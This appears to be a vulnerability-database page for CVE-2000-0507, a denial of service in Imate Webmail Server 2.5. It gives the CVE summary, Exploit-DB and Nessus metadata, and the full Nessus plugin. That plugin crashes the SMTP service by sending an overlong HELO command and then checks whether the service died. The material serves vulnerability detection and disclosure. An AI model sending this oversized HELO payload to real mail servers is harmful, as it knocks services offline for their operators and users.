Vulnerabilities > CVE-2000-0507 - Unspecified vulnerability in Concatus Imate Webmail Server 2.5

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
concatus
nessus
exploit available
NVD
Published: 2000-06-01
Updated: 2024-11-20

Summary

Imate Webmail Server 2.5 allows remote attackers to cause a denial of service via a long HELO command.

Vulnerable Configurations

Part Description Count
Application
Concatus
1

Exploit-Db

descriptionConcatus IMate Web Mail Server 2.5 Buffer Overflow Vulnerability. CVE-2000-0507 . Remote exploit for windows platform
idEDB-ID:19976
last seen2016-02-02
modified2000-06-01
published2000-06-01
reporterDelphis Consulting
sourcehttps://www.exploit-db.com/download/19976/
titleConcatus IMate Web Mail Server 2.5 - Buffer Overflow Vulnerability

Nessus

NASL familySMTP problems
NASL idIMATE_OVERFLOW.NASL
descriptionThe remote SMTP server crashes when it is issued a HELO command with an argument longer than 1200 chars. This problem may allow an attacker to shut down your SMTP server.
last seen2020-06-01
modified2020-06-02
plugin id10435
published2000-06-06
reporterThis script is Copyright (C) 2000-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/10435
titleImate SMTP Server HELO Command Remote Overflow DoS
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if(description)
{
 script_id(10435);
 script_version ("1.28");

 script_cve_id("CVE-2000-0507");
 script_bugtraq_id(1286);

 script_name(english:"Imate SMTP Server HELO Command Remote Overflow DoS");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote SMTP server is affected by a remote denial of service
vulnerability." );
 script_set_attribute(attribute:"description", value:
"The remote SMTP server crashes when it is issued a HELO command with
an argument longer than 1200 chars.

This problem may allow an attacker to shut down your SMTP server." );
 script_set_attribute(attribute:"see_also", value:"https://marc.info/?l=bugtraq&m=95990195708509&w=2" );
 script_set_attribute(attribute:"solution", value:
"Apply patches available from the vendor." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2000/06/06");
 script_set_attribute(attribute:"vuln_publication_date", value: "2000/06/01");
 script_cvs_date("Date: 2018/11/15 20:50:24");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();
 
 script_summary(english:"Checks if the remote mail server can be oveflown"); 
 
 script_category(ACT_DESTRUCTIVE_ATTACK);
 
 script_copyright(english:"This script is Copyright (C) 2000-2018 Tenable Network Security, Inc.");
 
 script_family(english:"SMTP problems");
 script_dependencie("smtpserver_detect.nasl", "sendmail_expn.nasl");
 script_require_ports("Services/smtp", 25);
 exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");
include("smtp_func.inc");

port = get_service(svc: "smtp", default: 25, exit_on_fail: 1);
if (get_kb_item('SMTP/'+port+'/broken')) exit(0);

soc = open_sock_tcp(port);
if (! soc) exit(1);

data = smtp_recv_banner(socket:soc);
crp = "HELO " + crap(1500) + '\r\n';
 send(socket:soc, data:crp);
 data = recv_line(socket:soc, length:4);
 close(soc);
 
if (service_is_dead(port: port, exit: 1) > 0)
  security_warning(port);

References